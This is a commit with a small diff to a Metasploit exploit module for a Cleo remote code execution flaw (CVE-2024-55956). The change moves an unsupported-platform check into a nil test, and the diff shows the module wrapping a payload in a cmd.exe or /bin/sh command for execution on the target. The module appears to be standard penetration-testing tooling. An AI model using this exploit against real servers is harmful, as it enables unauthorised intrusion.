check for nil here, before we check for the end cdata tag (resolves a linting warning)

Author: sfewer-r7

modules/exploits/multi/http/cleo_rce_cve_2024_55956.rb

@@ -124,12 +124,12 @@ def exploit
       command = "cmd.exe /c \"#{payload.encoded}\""
     elsif (target['Platform'] == 'linux') || (target['Platform'] == 'unix')
       command = "/bin/sh -c \"#{payload.encoded}\""
-    else
-      fail_with(Failure::BadConfig, 'Unsupported target platform')
     end
 
-    # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
-    if command.include? ']]>'
+    if command.nil?
+      fail_with(Failure::BadConfig, 'Unsupported target platform')
+    elsif command.include? ']]>'
+      # As we wrap the command in XML CDATA tags, we cannot have the closing CDATA tag in the command.
       fail_with(Failure::BadConfig, 'Payload cannot contain a CDATA closing tag ]]>')
     end